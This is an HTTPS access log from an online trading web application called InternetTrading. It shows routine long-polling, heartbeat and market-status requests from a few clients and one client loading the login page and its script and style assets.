[09/Jan/2026:14:08:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939173858 HTTP/1.1" -
[09/Jan/2026:14:08:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939178121 HTTP/1.1" -
[09/Jan/2026:14:08:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939194631 HTTP/1.1" -
[09/Jan/2026:14:08:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939185395 HTTP/1.1" -
[09/Jan/2026:14:08:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939178900 HTTP/1.1" -
[09/Jan/2026:14:08:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939183159 HTTP/1.1" -
[09/Jan/2026:14:08:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939199698 HTTP/1.1" -
[09/Jan/2026:14:08:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939190470 HTTP/1.1" -
[09/Jan/2026:14:08:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939184160 HTTP/1.1" -
[09/Jan/2026:14:08:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939188343 HTTP/1.1" -
[09/Jan/2026:14:08:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939204769 HTTP/1.1" -
[09/Jan/2026:14:08:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939195564 HTTP/1.1" -
[09/Jan/2026:14:08:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939189211 HTTP/1.1" -
[09/Jan/2026:14:08:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939193401 HTTP/1.1" -
[09/Jan/2026:14:08:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939209834 HTTP/1.1" -
[09/Jan/2026:14:08:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939200632 HTTP/1.1" -
[09/Jan/2026:14:08:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939194282 HTTP/1.1" -
[09/Jan/2026:14:08:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939198625 HTTP/1.1" -
[09/Jan/2026:14:08:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939214861 HTTP/1.1" -
[09/Jan/2026:14:08:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939205732 HTTP/1.1" -
[09/Jan/2026:14:08:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939199347 HTTP/1.1" -
[09/Jan/2026:14:08:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:08:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939203758 HTTP/1.1" -
[09/Jan/2026:14:08:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939219905 HTTP/1.1" -
[09/Jan/2026:14:08:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939210760 HTTP/1.1" -
[09/Jan/2026:14:08:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:08:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:08:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939204489 HTTP/1.1" -
[09/Jan/2026:14:09:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939208964 HTTP/1.1" -
[09/Jan/2026:14:09:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939224966 HTTP/1.1" -
[09/Jan/2026:14:09:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939215795 HTTP/1.1" -
[09/Jan/2026:14:09:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939209512 HTTP/1.1" -
[09/Jan/2026:14:09:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939230030 HTTP/1.1" -
[09/Jan/2026:14:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939214061 HTTP/1.1" -
[09/Jan/2026:14:09:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939220876 HTTP/1.1" -
[09/Jan/2026:14:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939214636 HTTP/1.1" -
[09/Jan/2026:14:09:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939235053 HTTP/1.1" -
[09/Jan/2026:14:09:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939219185 HTTP/1.1" -
[09/Jan/2026:14:09:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939225964 HTTP/1.1" -
[09/Jan/2026:14:09:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939219702 HTTP/1.1" -
[09/Jan/2026:14:09:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939240107 HTTP/1.1" -
[09/Jan/2026:14:09:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939224290 HTTP/1.1" -
[09/Jan/2026:14:09:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939231033 HTTP/1.1" -
[09/Jan/2026:14:09:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939224812 HTTP/1.1" -
[09/Jan/2026:14:09:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939245130 HTTP/1.1" -
[09/Jan/2026:14:09:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939236119 HTTP/1.1" -
[09/Jan/2026:14:09:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939229428 HTTP/1.1" -
[09/Jan/2026:14:09:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939229918 HTTP/1.1" -
[09/Jan/2026:14:09:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939231965 HTTP/1.1" -
[09/Jan/2026:14:09:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:14:09:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:09:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939250160 HTTP/1.1" -
[09/Jan/2026:14:09:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939241157 HTTP/1.1" -
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:14:09:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:09:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:09:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939234757 HTTP/1.1" -
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:09:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:09:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
